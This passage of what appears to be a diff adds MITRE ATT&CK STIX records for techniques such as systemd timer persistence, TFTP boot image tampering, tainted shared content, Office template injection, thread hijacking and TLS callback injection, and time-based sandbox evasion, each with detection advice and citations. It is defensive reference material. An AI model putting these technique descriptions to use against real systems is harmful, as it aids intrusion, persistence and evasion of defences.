"http://man7.org/linux/man-pages/man1/systemd.1.html", + "description": "Linux man-pages. (2014, January). systemd(1) - Linux manual page. Retrieved April 23, 2019.", + "source_name": "Linux man-pages: systemd January 2014" + }, + { + "url": "https://www.freedesktop.org/wiki/Software/systemd/", + "description": "Freedesktop.org. (2018, September 29). systemd System and Service Manager. Retrieved April 23, 2019.", + "source_name": "Freedesktop.org Linux systemd 29SEP2018" + }, + { + "url": "https://www.anomali.com/blog/rocke-evolves-its-arsenal-with-a-new-malware-family-written-in-golang", + "description": "Anomali Labs. (2019, March 15). Rocke Evolves Its Arsenal With a New Malware Family Written in Golang. Retrieved April 24, 2019.", + "source_name": "Anomali Rocke March 2019" + }, + { + "url": "https://www.rapid7.com/db/modules/exploit/linux/local/service_persistence", + "description": "Rapid7. (2016, June 22). Service Persistence. Retrieved April 23, 2019.", + "source_name": "Rapid7 Service Persistence 22JUNE2016" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "attack-pattern", + "name": "Systemd Timers", + "x_mitre_data_sources": [ + "Scheduled Job: Scheduled Job Creation", + "Command: Command Execution", + "File: File Modification", + "Process: Process Creation" + ], + "x_mitre_version": "1.1", + "modified": "2021-07-27T16:43:25.027Z", + "created": "2020-10-12T17:50:31.584Z", + "x_mitre_contributors": [ + "SarathKumar Rajendran, Trimble Inc" + ], + "id": "attack-pattern--a542bac9-7bc1-4da7-9a09-96f69e23cc21", + "x_mitre_platforms": [ + "Linux" + ], + "x_mitre_is_subtechnique": true, + "x_mitre_permissions_required": [ + "User", + "root" + ], + "description": "Adversaries may abuse systemd timers to perform task scheduling for initial or recurring execution of malicious code. Systemd timers are unit files with file extension .timer that control services. Timers can be set to run on a calendar event or after a time span relative to a starting point. They can be used as an alternative to [Cron](https://attack.mitre.org/techniques/T1053/003) in Linux environments.(Citation: archlinux Systemd Timers Aug 2020) Systemd timers may be activated remotely via the systemctl command line utility, which operates over [SSH](https://attack.mitre.org/techniques/T1021/004).(Citation: Systemd Remote Control)\n\nEach .timer file must have a corresponding .service file with the same name, e.g., example.timer and example.service. .service files are [Systemd Service](https://attack.mitre.org/techniques/T1543/002) unit files that are managed by the systemd system and service manager.(Citation: Linux man-pages: systemd January 2014) Privileged timers are written to /etc/systemd/system/ and /usr/lib/systemd/system while user level are written to ~/.config/systemd/user/.\n\nAn adversary may use systemd timers to execute malicious code at system startup or on a scheduled basis for persistence.(Citation: Arch Linux Package Systemd Compromise BleepingComputer 10JUL2018)(Citation: gist Arch package compromise 10JUL2018)(Citation: acroread package compromised Arch Linux Mail 8JUL2018) Timers installed using privileged paths may be used to maintain root level persistence. Adversaries may also install user level timers to achieve user level persistence.", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "execution" + }, + { + "kill_chain_name": "mitre-attack", + "phase_name": "persistence" + }, + { + "kill_chain_name": "mitre-attack", + "phase_name": "privilege-escalation" + } + ], + "x_mitre_remote_support": true, + "x_mitre_detection": "Systemd timer unit files may be detected by auditing file creation and modification events within the /etc/systemd/system, /usr/lib/systemd/system/, and ~/.config/systemd/user/ directories, as well as associated symbolic links. Suspicious processes or scripts spawned in this manner will have a parent process of \u2018systemd\u2019, a parent process ID of 1, and will usually execute as the \u2018root\u2019 user.\n\nSuspicious systemd timers can also be identified by comparing results against a trusted system baseline. Malicious systemd timers may be detected by using the systemctl utility to examine system wide timers: systemctl list-timers \u2013all. Analyze the contents of corresponding .service files present on the file system and ensure that they refer to legitimate, expected executables.\n\nAudit the execution and command-line arguments of the 'systemd-run' utility as it may be used to create timers.(Citation: archlinux Systemd Timers Aug 2020)", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "external_references": [ + { + "url": "https://attack.mitre.org/techniques/T1053/006", + "external_id": "T1053.006", + "source_name": "mitre-attack" + }, + { + "url": "https://wiki.archlinux.org/index.php/Systemd/Timers", + "description": "archlinux. (2020, August 11). systemd/Timers. Retrieved October 12, 2020.", + "source_name": "archlinux Systemd Timers Aug 2020" + }, + { + "url": "https://www.tecmint.com/control-systemd-services-on-remote-linux-server/", + "description": "Aaron Kili. (2018, January 16). How to Control Systemd Services on Remote Linux Server. Retrieved July 26, 2021.", + "source_name": "Systemd Remote Control" + }, + { + "url": "http://man7.org/linux/man-pages/man1/systemd.1.html", + "description": "Linux man-pages. (2014, January). systemd(1) - Linux manual page. Retrieved April 23, 2019.", + "source_name": "Linux man-pages: systemd January 2014" + }, + { + "source_name": "Arch Linux Package Systemd Compromise BleepingComputer 10JUL2018", + "description": "Catalin Cimpanu. (2018, July 10). Malware Found in Arch Linux AUR Package Repository. Retrieved April 23, 2019.", + "url": "https://www.bleepingcomputer.com/news/security/malware-found-in-arch-linux-aur-package-repository/" + }, + { + "source_name": "gist Arch package compromise 10JUL2018", + "description": "Catalin Cimpanu. (2018, July 10). ~x file downloaded in public Arch package compromise. Retrieved April 23, 2019.", + "url": "https://gist.github.com/campuscodi/74d0d2e35d8fd9499c76333ce027345a" + }, + { + "source_name": "acroread package compromised Arch Linux Mail 8JUL2018", + "description": "Eli Schwartz. (2018, June 8). acroread package compromised. Retrieved April 23, 2019.", + "url": "https://lists.archlinux.org/pipermail/aur-general/2018-July/034153.html" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "attack-pattern", + "name": "TFTP Boot", + "x_mitre_data_sources": [ + "Command: Command Execution", + "Network Traffic: Network Connection Creation", + "Firmware: Firmware Modification" + ], + "x_mitre_version": "1.0", + "modified": "2020-10-22T16:35:53.806Z", + "created": "2020-10-20T00:06:56.180Z", + "x_mitre_permissions_required": [ + "Administrator" + ], + "x_mitre_platforms": [ + "Network" + ], + "x_mitre_is_subtechnique": true, + "id": "attack-pattern--28abec6c-4443-4b03-8206-07f2e264a6b4", + "description": "Adversaries may abuse netbooting to load an unauthorized network device operating system from a Trivial File Transfer Protocol (TFTP) server. TFTP boot (netbooting) is commonly used by network administrators to load configuration-controlled network device images from a centralized management server. Netbooting is one option in the boot sequence and can be used to centralize, manage, and control device images.\n\nAdversaries may manipulate the configuration on the network device specifying use of a malicious TFTP server, which may be used in conjunction with [Modify System Image](https://attack.mitre.org/techniques/T1601) to load a modified image on device startup or reset. The unauthorized image allows adversaries to modify device configuration, add malicious capabilities to the device, and introduce backdoors to maintain control of the network device while minimizing detection through use of a standard functionality. This technique is similar to [ROMMONkit](https://attack.mitre.org/techniques/T1542/004) and may result in the network device running a modified image. (Citation: Cisco Blog Legacy Device Attacks)", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "defense-evasion" + }, + { + "kill_chain_name": "mitre-attack", + "phase_name": "persistence" + } + ], + "x_mitre_detection": "Consider comparing a copy of the network device configuration and system image against a known-good version to discover unauthorized changes to system boot, startup configuration, or the running OS. (Citation: Cisco IOS Software Integrity Assurance - Secure Boot) (Citation: Cisco IOS Software Integrity Assurance - Image File Verification)The same process can be accomplished through a comparison of the run-time memory, though this is non-trivial and may require assistance from the vendor. (Citation: Cisco IOS Software Integrity Assurance - Run-Time Memory Verification)\n\nReview command history in either the console or as part of the running memory to determine if unauthorized or suspicious commands were used to modify device configuration. (Citation: Cisco IOS Software Integrity Assurance - Command History) Check boot information including system uptime, image booted, and startup configuration to determine if results are consistent with expected behavior in the environment. (Citation: Cisco IOS Software Integrity Assurance - Boot Information) Monitor unusual connections or connection attempts to the device that may specifically target TFTP or other file-sharing protocols.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "external_references": [ + { + "url": "https://attack.mitre.org/techniques/T1542/005", + "external_id": "T1542.005", + "source_name": "mitre-attack" + }, + { + "url": "https://community.cisco.com/t5/security-blogs/attackers-continue-to-target-legacy-devices/ba-p/4169954", + "description": "Omar Santos. (2020, October 19). Attackers Continue to Target Legacy Devices. Retrieved October 20, 2020.", + "source_name": "Cisco Blog Legacy Device Attacks" + }, + { + "url": "https://tools.cisco.com/security/center/resources/integrity_assurance.html#35", + "description": "Cisco. (n.d.). Cisco IOS Software Integrity Assurance - Secure Boot. Retrieved October 19, 2020.", + "source_name": "Cisco IOS Software Integrity Assurance - Secure Boot" + }, + { + "url": "https://tools.cisco.com/security/center/resources/integrity_assurance.html#7", + "description": "Cisco. (n.d.). Cisco IOS Software Integrity Assurance - Cisco IOS Image File Verification. Retrieved October 19, 2020.", + "source_name": "Cisco IOS Software Integrity Assurance - Image File Verification" + }, + { + "url": "https://tools.cisco.com/security/center/resources/integrity_assurance.html#13", + "description": "Cisco. (n.d.). Cisco IOS Software Integrity Assurance - Cisco IOS Run-Time Memory Integrity Verification. Retrieved October 19, 2020.", + "source_name": "Cisco IOS Software Integrity Assurance - Run-Time Memory Verification" + }, + { + "url": "https://tools.cisco.com/security/center/resources/integrity_assurance.html#23", + "description": "Cisco. (n.d.). Cisco IOS Software Integrity Assurance - Command History. Retrieved October 21, 2020.", + "source_name": "Cisco IOS Software Integrity Assurance - Command History" + }, + { + "url": "https://tools.cisco.com/security/center/resources/integrity_assurance.html#26", + "description": "Cisco. (n.d.). Cisco IOS Software Integrity Assurance - Boot Information. Retrieved October 21, 2020.", + "source_name": "Cisco IOS Software Integrity Assurance - Boot Information" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "attack-pattern", + "name": "Taint Shared Content", + "external_references": [ + { + "url": "https://attack.mitre.org/techniques/T1080", + "external_id": "T1080", + "source_name": "mitre-attack" + }, + { + "url": "https://capec.mitre.org/data/definitions/562.html", + "external_id": "CAPEC-562", + "source_name": "capec" + }, + { + "source_name": "Retwin Directory Share Pivot", + "description": "Routin, D. (2017, November 13). Abusing network shares for efficient lateral movements and privesc (DirSharePivot). Retrieved April 12, 2018.", + "url": "https://rewtin.blogspot.ch/2017/11/abusing-user-shares-for-efficient.html" + } + ], + "x_mitre_data_sources": [ + "Process: Process Creation", + "File: File Creation", + "File: File Modification", + "Network Share: Network Share Access" + ], + "x_mitre_version": "1.3", + "modified": "2021-10-17T14:12:33.188Z", + "x_mitre_system_requirements": [ + "Access to shared folders and content with write permissions" + ], + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "lateral-movement" + } + ], + "id": "attack-pattern--246fd3c7-f5e3-466d-8787-4c13d9e3b61c", + "x_mitre_platforms": [ + "Windows", + "Office 365", + "SaaS", + "Linux", + "macOS" + ], + "x_mitre_is_subtechnique": false, + "x_mitre_permissions_required": [ + "User" + ], + "description": "\nAdversaries may deliver payloads to remote systems by adding content to shared storage locations, such as network drives or internal code repositories. Content stored on network drives or in other shared locations may be tainted by adding malicious programs, scripts, or exploit code to otherwise valid files. Once a user opens the shared tainted content, the malicious portion can be executed to run the adversary's code on a remote system. Adversaries may use tainted shared content to move laterally.\n\nA directory share pivot is a variation on this technique that uses several other techniques to propagate malware when users access a shared network directory. It uses [Shortcut Modification](https://attack.mitre.org/techniques/T1547/009) of directory .LNK files that use [Masquerading](https://attack.mitre.org/techniques/T1036) to look like the real directories, which are hidden through [Hidden Files and Directories](https://attack.mitre.org/techniques/T1564/001). The malicious .LNK-based directories have an embedded command that executes the hidden malware file in the directory and then opens the real intended directory so that the user's expected action still occurs. When used with frequently used network directories, the technique may result in frequent reinfections and broad access to systems and potentially to new and higher privileged accounts. (Citation: Retwin Directory Share Pivot)\n\nAdversaries may also compromise shared network directories through binary infections by appending or prepending its code to the healthy binary on the shared network directory. The malware may modify the original entry point (OEP) of the healthy binary to ensure that it is executed before the legitimate code. The infection could continue to spread via the newly infected file when it is executed by a remote system. These infections may target both binary and non-binary formats that end with extensions including, but not limited to, .EXE, .DLL, .SCR, .BAT, and/or .VBS.", + "x_mitre_contributors": [ + "Michal Dida, ESET", + "David Routin" + ], + "x_mitre_detection": "Processes that write or overwrite many files to a network shared directory may be suspicious. Monitor processes that are executed from removable media for malicious or abnormal activity such as network connections due to Command and Control and possible network Discovery techniques.\n\nFrequently scan shared network directories for malicious files, hidden files, .LNK files, and other file types that may not typical exist in directories used to share specific types of content.", + "created": "2017-05-31T21:31:01.759Z", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5" + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "attack-pattern", + "name": "Template Injection", + "x_mitre_data_sources": [ + "Process: Process Creation", + "Network Traffic: Network Connection Creation", + "Network Traffic: Network Traffic Content" + ], + "x_mitre_version": "1.2", + "modified": "2020-04-29T14:37:59.462Z", + "created": "2018-10-17T00:14:20.652Z", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "defense-evasion" + } + ], + "id": "attack-pattern--dc31fe1e-d722-49da-8f5f-92c7b5aff534", + "x_mitre_defense_bypassed": [ + "Static File Analysis" + ], + "x_mitre_platforms": [ + "Windows" + ], + "x_mitre_is_subtechnique": false, + "x_mitre_permissions_required": [ + "User" + ], + "description": "Adversaries may create or modify references in Office document templates to conceal malicious code or force authentication attempts. Microsoft\u2019s Office Open XML (OOXML) specification defines an XML-based format for Office documents (.docx, xlsx, .pptx) to replace older binary formats (.doc, .xls, .ppt). OOXML files are packed together ZIP archives compromised of various XML files, referred to as parts, containing properties that collectively define how a document is rendered. (Citation: Microsoft Open XML July 2017)\n\nProperties within parts may reference shared public resources accessed via online URLs. For example, template properties reference a file, serving as a pre-formatted document blueprint, that is fetched when the document is loaded.\n\nAdversaries may abuse this technology to initially conceal malicious code to be executed via documents. Template references injected into a document may enable malicious payloads to be fetched and executed when the document is loaded. (Citation: SANS Brian Wiltse Template Injection) These documents can be delivered via other techniques such as [Phishing](https://attack.mitre.org/techniques/T1566) and/or [Taint Shared Content](https://attack.mitre.org/techniques/T1080) and may evade static detections since no typical indicators (VBA macro, script, etc.) are present until after the malicious payload is fetched. (Citation: Redxorblue Remote Template Injection) Examples have been seen in the wild where template injection was used to load malicious code containing an exploit. (Citation: MalwareBytes Template Injection OCT 2017)\n\nThis technique may also enable [Forced Authentication](https://attack.mitre.org/techniques/T1187) by injecting a SMB/HTTPS (or other credential prompting) URL and triggering an authentication attempt. (Citation: Anomali Template Injection MAR 2018) (Citation: Talos Template Injection July 2017) (Citation: ryhanson phishery SEPT 2016)", + "x_mitre_contributors": [ + "Brian Wiltse @evalstrings", + "Patrick Campbell, @pjcampbe11" + ], + "x_mitre_detection": "Analyze process behavior to determine if an Office application is performing actions, such as opening network connections, reading files, spawning abnormal child processes (ex: [PowerShell](https://attack.mitre.org/techniques/T1059/001)), or other suspicious actions that could relate to post-compromise behavior.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "external_references": [ + { + "url": "https://attack.mitre.org/techniques/T1221", + "external_id": "T1221", + "source_name": "mitre-attack" + }, + { + "source_name": "Microsoft Open XML July 2017", + "description": "Microsoft. (2014, July 9). Introducing the Office (2007) Open XML File Formats. Retrieved July 20, 2018.", + "url": "https://docs.microsoft.com/previous-versions/office/developer/office-2007/aa338205(v=office.12)" + }, + { + "url": "https://www.sans.org/reading-room/whitepapers/testing/template-injection-attacks-bypassing-security-controls-living-land-38780", + "description": "Wiltse, B.. (2018, November 7). Template Injection Attacks - Bypassing Security Controls by Living off the Land. Retrieved April 10, 2019.", + "source_name": "SANS Brian Wiltse Template Injection" + }, + { + "source_name": "Redxorblue Remote Template Injection", + "description": "Hawkins, J. (2018, July 18). Executing Macros From a DOCX With Remote Template Injection. Retrieved October 12, 2018.", + "url": "http://blog.redxorblue.com/2018/07/executing-macros-from-docx-with-remote.html" + }, + { + "source_name": "MalwareBytes Template Injection OCT 2017", + "description": "Segura, J. (2017, October 13). Decoy Microsoft Word document delivers malware through a RAT. Retrieved July 21, 2018.", + "url": "https://blog.malwarebytes.com/threat-analysis/2017/10/decoy-microsoft-word-document-delivers-malware-through-rat/" + }, + { + "source_name": "Anomali Template Injection MAR 2018", + "description": "Intel_Acquisition_Team. (2018, March 1). Credential Harvesting and Malicious File Delivery using Microsoft Office Template Injection. Retrieved July 20, 2018.", + "url": "https://forum.anomali.com/t/credential-harvesting-and-malicious-file-delivery-using-microsoft-office-template-injection/2104" + }, + { + "source_name": "Talos Template Injection July 2017", + "description": "Baird, S. et al.. (2017, July 7). Attack on Critical Infrastructure Leverages Template Injection. Retrieved July 21, 2018.", + "url": "https://blog.talosintelligence.com/2017/07/template-injection.html" + }, + { + "source_name": "ryhanson phishery SEPT 2016", + "description": "Hanson, R. (2016, September 24). phishery. Retrieved July 21, 2018.", + "url": "https://github.com/ryhanson/phishery" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "attack-pattern", + "name": "Thread Execution Hijacking", + "x_mitre_data_sources": [ + "Process: Process Modification", + "Process: OS API Execution", + "Process: Process Access" + ], + "x_mitre_version": "1.1", + "modified": "2021-10-18T12:22:50.800Z", + "created": "2020-01-14T01:28:32.166Z", + "x_mitre_permissions_required": [ + "User" + ], + "x_mitre_defense_bypassed": [ + "Application control", + "Anti-virus" + ], + "x_mitre_platforms": [ + "Windows" + ], + "x_mitre_is_subtechnique": true, + "id": "attack-pattern--41d9846c-f6af-4302-a654-24bba2729bc6", + "description": "Adversaries may inject malicious code into hijacked processes in order to evade process-based defenses as well as possibly elevate privileges. Thread Execution Hijacking is a method of executing arbitrary code in the address space of a separate live process. \n\nThread Execution Hijacking is commonly performed by suspending an existing process then unmapping/hollowing its memory, which can then be replaced with malicious code or the path to a DLL. A handle to an existing victim process is first created with native Windows API calls such as OpenThread. At this point the process can be suspended then written to, realigned to the injected code, and resumed via SuspendThread , VirtualAllocEx, WriteProcessMemory, SetThreadContext, then ResumeThread respectively.(Citation: Elastic Process Injection July 2017)\n\nThis is very similar to [Process Hollowing](https://attack.mitre.org/techniques/T1055/012) but targets an existing process rather than creating a process in a suspended state. \n\nRunning code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via Thread Execution Hijacking may also evade detection from security products since the execution is masked under a legitimate process. ", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "defense-evasion" + }, + { + "kill_chain_name": "mitre-attack", + "phase_name": "privilege-escalation" + } + ], + "x_mitre_detection": "Monitoring Windows API calls indicative of the various types of code injection may generate a significant amount of data and may not be directly useful for defense unless collected under specific circumstances for known bad sequences of calls, since benign use of API functions may be common and difficult to distinguish from malicious behavior. Windows API calls such as CreateRemoteThread, SuspendThread/SetThreadContext/ResumeThread, and those that can be used to modify memory within another process, such as VirtualAllocEx/WriteProcessMemory, may be used for this technique.(Citation: Elastic Process Injection July 2017)\n\nAnalyze process behavior to determine if a process is performing actions it usually does not, such as opening network connections, reading files, or other suspicious actions that could relate to post-compromise behavior. ", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "external_references": [ + { + "url": "https://attack.mitre.org/techniques/T1055/003", + "external_id": "T1055.003", + "source_name": "mitre-attack" + }, + { + "source_name": "Elastic Process Injection July 2017", + "description": "Hosseini, A. (2017, July 18). Ten Process Injection Techniques: A Technical Survey Of Common And Trending Process Injection Techniques. Retrieved December 7, 2017.", + "url": "https://www.endgame.com/blog/technical-blog/ten-process-injection-techniques-technical-survey-common-and-trending-process" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "attack-pattern", + "name": "Thread Local Storage", + "x_mitre_data_sources": [ + "Process: Process Modification", + "Process: OS API Execution", + "Process: Process Access" + ], + "x_mitre_version": "1.1", + "modified": "2021-10-18T12:24:54.198Z", + "created": "2020-01-14T01:30:41.092Z", + "x_mitre_defense_bypassed": [ + "Anti-virus", + "Application control" + ], + "x_mitre_platforms": [ + "Windows" + ], + "x_mitre_is_subtechnique": true, + "id": "attack-pattern--e49ee9d2-0d98-44ef-85e5-5d3100065744", + "description": "Adversaries may inject malicious code into processes via thread local storage (TLS) callbacks in order to evade process-based defenses as well as possibly elevate privileges. TLS callback injection is a method of executing arbitrary code in the address space of a separate live process. \n\nTLS callback injection involves manipulating pointers inside a portable executable (PE) to redirect a process to malicious code before reaching the code's legitimate entry point. TLS callbacks are normally used by the OS to setup and/or cleanup data used by threads. Manipulating TLS callbacks may be performed by allocating and writing to specific offsets within a process\u2019 memory space using other [Process Injection](https://attack.mitre.org/techniques/T1055) techniques such as [Process Hollowing](https://attack.mitre.org/techniques/T1055/012).(Citation: FireEye TLS Nov 2017)\n\nRunning code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via TLS callback injection may also evade detection from security products since the execution is masked under a legitimate process. ", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "defense-evasion" + }, + { + "kill_chain_name": "mitre-attack", + "phase_name": "privilege-escalation" + } + ], + "x_mitre_detection": "Monitoring Windows API calls indicative of the various types of code injection may generate a significant amount of data and may not be directly useful for defense unless collected under specific circumstances for known bad sequences of calls, since benign use of API functions may be common and difficult to distinguish from malicious behavior. Windows API calls such as CreateRemoteThread, SuspendThread/SetThreadContext/ResumeThread, and those that can be used to modify memory within another process, such as VirtualAllocEx/WriteProcessMemory, may be used for this technique.(Citation: Elastic Process Injection July 2017)\n\nAnalyze process behavior to determine if a process is performing actions it usually does not, such as opening network connections, reading files, or other suspicious actions that could relate to post-compromise behavior. ", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "external_references": [ + { + "url": "https://attack.mitre.org/techniques/T1055/005", + "external_id": "T1055.005", + "source_name": "mitre-attack" + }, + { + "source_name": "FireEye TLS Nov 2017", + "description": "Vaish, A. & Nemes, S. (2017, November 28). Newly Observed Ursnif Variant Employs Malicious TLS Callback Technique to Achieve Process Injection. Retrieved December 18, 2017.", + "url": "https://www.fireeye.com/blog/threat-research/2017/11/ursnif-variant-malicious-tls-callback-technique.html" + }, + { + "source_name": "Elastic Process Injection July 2017", + "description": "Hosseini, A. (2017, July 18). Ten Process Injection Techniques: A Technical Survey Of Common And Trending Process Injection Techniques. Retrieved December 7, 2017.", + "url": "https://www.endgame.com/blog/technical-blog/ten-process-injection-techniques-technical-survey-common-and-trending-process" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "attack-pattern", + "name": "Threat Intel Vendors", + "x_mitre_version": "1.0", + "modified": "2021-04-15T03:45:30.862Z", + "created": "2020-10-02T17:03:45.918Z", + "x_mitre_platforms": [ + "PRE" + ], + "x_mitre_is_subtechnique": true, + "id": "attack-pattern--51e54974-a541-4fb6-a61b-0518e4c6de41", + "description": "Adversaries may search private data from threat intelligence vendors for information that can be used during targeting. Threat intelligence vendors may offer paid feeds or portals that offer more data than what is publicly reported. Although sensitive details (such as customer names and other identifiers) may be redacted, this information may contain trends regarding breaches such as target industries, attribution claims, and successful TTPs/countermeasures.(Citation: D3Secutrity CTI Feeds)\n\nAdversaries may search in private threat intelligence vendor data to gather actionable information. Threat actors may seek information/indicators gathered about their own campaigns, as well as those conducted by other adversaries that may align with their target industries, capabilities/objectives, or other operational concerns. Information reported by vendors may also reveal opportunities other forms of reconnaissance (ex: [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593)), establishing operational resources (ex: [Develop Capabilities](https://attack.mitre.org/techniques/T1587) or [Obtain Capabilities](https://attack.mitre.org/techniques/T1588)), and/or initial access (ex: [Exploit Public-Facing Application](https://attack.mitre.org/techniques/T1190) or [External Remote Services](https://attack.mitre.org/techniques/T1133)).", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "reconnaissance" + } + ], + "x_mitre_detection": "Much of this activity may have a very high occurrence and associated false positive rate, as well as potentially taking place outside the visibility of the target organization, making detection difficult for defenders.\n\nDetection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "external_references": [ + { + "url": "https://attack.mitre.org/techniques/T1597/001", + "external_id": "T1597.001", + "source_name": "mitre-attack" + }, + { + "url": "https://d3security.com/blog/10-of-the-best-open-source-threat-intelligence-feeds/", + "description": "Banerd, W. (2019, April 30). 10 of the Best Open Source Threat Intelligence Feeds. Retrieved October 20, 2020.", + "source_name": "D3Secutrity CTI Feeds" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "attack-pattern", + "name": "Time Based Evasion", + "x_mitre_data_sources": [ + "Process: Process Creation", + "Command: Command Execution", + "Process: OS API Execution" + ], + "x_mitre_version": "1.2", + "modified": "2021-10-15T22:37:43.854Z", + "created": "2020-03-06T21:11:11.225Z", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "defense-evasion" + }, + { + "kill_chain_name": "mitre-attack", + "phase_name": "discovery" + } + ], + "x_mitre_defense_bypassed": [ + "Host forensic analysis", + "Signature-based detection", + "Static File Analysis", + "Anti-virus" + ], + "x_mitre_platforms": [ + "Linux", + "macOS", + "Windows" + ], + "x_mitre_is_subtechnique": true, + "id": "attack-pattern--4bed873f-0b7d-41d4-b93a-b6905d1f90b0", + "description": "Adversaries may employ various time-based methods to detect and avoid virtualization and analysis environments. This may include enumerating time-based properties, such as uptime or the system clock, as well as the use of timers or other triggers to avoid a virtual machine environment (VME) or sandbox, specifically those that are automated or only operate for a limited amount of time.\n\nAdversaries may employ various time-based evasions, such as delaying malware functionality upon initial execution using programmatic sleep commands or native system scheduling functionality (ex: [Scheduled Task/Job](https://attack.mitre.org/techniques/T1053)). Delays may also be based on waiting for specific victim conditions to be met (ex: system time, events, etc.) or employ scheduled [Multi-Stage Channels](https://attack.mitre.org/techniques/T1104) to avoid analysis and scrutiny.(Citation: Deloitte Environment Awareness)\n\nBenign commands or other operations may also be used to delay malware execution. Loops or otherwise needless repetitions of commands, such as [Ping](https://attack.mitre.org/software/S0097)s, may be used to delay malware execution and potentially exceed time thresholds of automated analysis environments.(Citation: Revil Independence Day)(Citation: Netskope Nitol) Another variation, commonly referred to as API hammering, involves making various calls to [Native API](https://attack.mitre.org/techniques/T1106) functions in order to delay execution (while also potentially overloading analysis environments with junk data).(Citation: Joe Sec Nymaim)(Citation: Joe Sec Trickbot)\n\nAdversaries may also use time as a metric to detect sandboxes and analysis environments, particularly those that attempt to manipulate time mechanisms to simulate longer elapses of time. For example, an adversary may be able to identify a sandbox accelerating time by sampling and calculating the expected value for an environment's timestamp before and after execution of a sleep function.(Citation: ISACA Malware Tricks)", + "x_mitre_contributors": [ + "Jorge Orchilles, SCYTHE", + "Ruben Dodge, @shotgunner101", + "Jeff Felling, Red Canary", + "Deloitte Threat Library Team" + ], + "x_mitre_detection": "Time-based evasion will likely occur in the first steps of an operation but may also occur throughout as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as lateral movement, based on the information obtained. Detecting actions related to virtualization and sandbox identification may be difficult depending on the adversary's implementation and monitoring required. Monitoring for suspicious processes being spawned that gather a variety of system information or perform other forms of Discovery, especially in a short period of time, may aid in detection. ", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "external_references": [ + { + "url": "https://attack.mitre.org/techniques/T1497/003", + "external_id": "T1497.003", + "source_name": "mitre-attack" + }, + { + "url": "https://drive.google.com/file/d/1t0jn3xr4ff2fR30oQAUn_RsWSnMpOAQc", + "description": "Torello, A. & Guibernau, F. (n.d.). Environment Awareness. Retrieved May 18, 2021.", + "source_name": "Deloitte Environment Awareness" + }, + { + "url": "https://news.sophos.com/en-us/2021/07/04/independence-day-revil-uses-supply-chain-exploit-to-attack-hundreds-of-businesses/", + "description": "Loman, M. et al. (2021, July 4). Independence Day: REvil uses supply chain exploit to attack hundreds of businesses. Retrieved September 30, 2021.", + "source_name": "Revil Independence Day" + }, + { + "url": "https://www.netskope.com/blog/nitol-botnet-makes-resurgence-evasive-sandbox-analysis-technique", + "description": "Malik, A. (2016, October 14). Nitol Botnet makes a resurgence with evasive sandbox analysis technique. Retrieved September 30, 2021.", + "source_name": "Netskope Nitol" + }, + { + "url": "https://www.joesecurity.org/blog/3660886847485093803", + "description": "Joe Security. (2016, April 21). Nymaim - evading Sandboxes with API hammering. Retrieved September 30, 2021.", + "source_name": "Joe Sec Nymaim" + }, + { + "url": "https://www.joesecurity.org/blog/498839998833561473", + "description": "Joe Security. (2020, July 13). TrickBot's new API-Hammering explained. Retrieved September 30, 2021.", + "source_name": "Joe Sec Trickbot" + }, + { + "url": "https://www.isaca.org/resources/isaca-journal/issues/2017/volume-6/evasive-malware-tricks-how-malware-evades-detection-by-sandboxes", + "description": "Kolbitsch, C. (2017, November 1). Evasive Malware Tricks: How Malware Evades Detection by Sandboxes. Retrieved March 30, 2021.", + "source_name": "ISACA Malware Tricks" + } + ] + }, + { + "type": "attack-pattern", + "modified": "2020-01-24T16:48:50.715Z", + "name": "Time Providers", + "created": "2018-04-18T17:59:24.739Z", + "id": "attack-pattern--dce31a00-1e90-4655-b0f9-e2e71a748a87", + "revoked": true, + "external_references": [ + { + "url": "https://attack.mitre.org/techniques/T1209", + "external_id": "T1209", + "source_name": "mitre-attack" + }, + { + "source_name": "Microsoft W32Time Feb 2018", + "description": "Microsoft. (2018, February 1). Windows Time Service (W32Time). Retrieved March 26, 2018.", + "url": "https://docs.microsoft.com/windows-server/networking/windows-time-service/windows-time-service-top" + }, + { + "source_name": "Microsoft TimeProvider", + "description": "Microsoft. (n.d.). Time Provider. Retrieved March 26, 